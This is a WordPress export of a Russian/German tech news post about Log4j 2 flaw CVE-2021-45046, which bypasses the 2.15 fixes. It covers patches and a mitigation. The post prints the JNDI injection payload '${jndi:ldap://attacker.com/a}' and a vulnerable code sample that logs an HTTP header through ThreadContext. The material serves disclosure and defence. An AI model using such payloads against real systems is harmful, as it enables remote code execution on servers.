{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Neue Angriffsvariante auf Log4j 2, die den hinzugef\u00fcgten Schutz umgeht.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435  Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 &#171;log4j2.noFormatMsgLookup&#187; \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 &#171;noFormatMsgLookup&#187;, \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 2.15 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0434\u043b\u044f \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437-\u0437\u0430 \u0438\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.     <\/p>\n<p>Die Verwundbarkeit tritt nur auf Systemen auf, bei denen beim Protokollieren kontextbezogene Abfragen (Context Lookup) wie ${ctx:loginId} oder MDC-Templates (Thread Context Map), beispielsweise %X, %mdc und %MDC, verwendet werden. Die Ausnutzung reduziert sich darauf, Bedingungen zu schaffen, die zur Protokollierung von Daten f\u00fchren, die JNDI-Platzhalter enthalten, wenn im Anwendungskontext kontextbezogene Abfragen oder MDC-Templates verwendet werden, die die Formatierungsregeln f\u00fcr die Protokollausgabe definieren.     <\/p>\n<p>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 LunaSec \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Log4j \u043c\u0435\u043d\u044c\u0448\u0435 2.15 \u0434\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 Log4Shell, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0435\u0439 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043b\u043e\u0433 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f ThreadContext, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0444\u043b\u0430\u0433\u0430 &#171;noMsgFormatLookups&#187; \u0438\u043b\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 &#171;%m{nolookups}&#187;.     <center><img decoding=\"async\" alt=\"Neue Angriffsvariante auf Log4j 2, die den hinzugef\u00fcgten Schutz umgeht.\" src=\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>        <\/p>\n<p>\u041e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 &#171;${jndi:ldap:\/\/attacker.com\/a}&#187;, \u0434\u0430\u043d\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u0432 \u043b\u043e\u0433. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043b\u043e\u0433 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 ${ctx:apiversion}, \u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c  \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 &#171;${jndi:ldap:\/\/attacker.com\/a}&#187; \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435,  \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0435 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e apiversion. \u041f\u0440\u0438\u043c\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430:         appender.console.layout.pattern = ${ctx:apiversion} &#8212; %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L &#8212; %m%n       @GetMapping(&#171;\/&#187;)     public String index(@RequestHeader(&#171;X-Api-Version&#187;) String apiVersion) {           \/\/ \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 &#171;X-Api-Version&#187; \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432  ThreadContext         ThreadContext.put(&#171;apiversion&#187;, apiVersion);           \/\/ \u041f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043b\u043e\u0433 \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 apiversion \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 ${ctx:apiversion}         logger.info(&#171;Received a request for API version&#187;);         return &#171;Hello, world!&#187;;     }      <\/p>\n<p>In der Version Log4j 2.15 kann die Verwundbarkeit f\u00fcr DoS-Angriffe genutzt werden, indem im ThreadContext Werte \u00fcbergeben werden, die zu einer Endlosschleife bei der Verarbeitung des Ausgabemusterformats f\u00fchren.  <center><img decoding=\"async\" alt=\"Neue Angriffsvariante auf Log4j 2, die den hinzugef\u00fcgten Schutz umgeht.\" src=\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>        <\/p>\n<p>\u0414\u043b\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438  \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f 2.16 \u0438 2.12.2. \u0412 \u0432\u0435\u0442\u043a\u0435 Log4j 2.16, \u043f\u043e\u043c\u0438\u043c\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 JNDI LDAP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a &#171;localhost&#187;, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c JNDI \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.    \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441 JndiLookup \u0438\u0437 classpath (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, &#171;zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class&#187;).     <\/p>\n<p>Updates in den Paketen k\u00f6nnen auf den Seiten der Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und der Hersteller von Java-Plattformen (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.) verfolgt werden.<br \/>\n<br \/>Quelle: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56347\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 &#171;log4j2.noFormatMsgLookup&#187; \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 &#171;noFormatMsgLookup&#187;, \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228), [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102619","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 &quot;log4j2.noFormatMsgLookup&quot; \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 &quot;noFormatMsgLookup&quot;, \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228),\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"de_DE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Log4j 2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 &quot;log4j2.noFormatMsgLookup&quot; \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 &quot;noFormatMsgLookup&quot;, \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228),\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-12-15T07:36:55+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-12-15T07:36:55+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Neue Angriffsmethode auf Log4j 2, die den hinzugef\u00fcgten Schutz umgeht | ProHoster","description":"In der Umsetzung von JNDI-Ersatzoperationen in der Log4j 2-Bibliothek wurde eine weitere Schwachstelle (CVE-2021-45046) entdeckt, die trotz der in Version 2.15 vorgenommenen Korrekturen und unabh\u00e4ngig von der Nutzung der Einstellung \"log4j2.noFormatMsgLookup\" auftritt. Das Problem stellt insbesondere f\u00fcr \u00e4ltere Versionen von Log4j 2, die durch das Flag \"noFormatMsgLookup\" gesch\u00fctzt sind, eine Gefahr dar, da es die Umgehung des Schutzes vor der fr\u00fcheren Schwachstelle (Log4Shell, CVE-2021-44228) erm\u00f6glicht.","canonical_url":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Log4j 2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 | ProHoster","og:description":"\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 &quot;log4j2.noFormatMsgLookup&quot; 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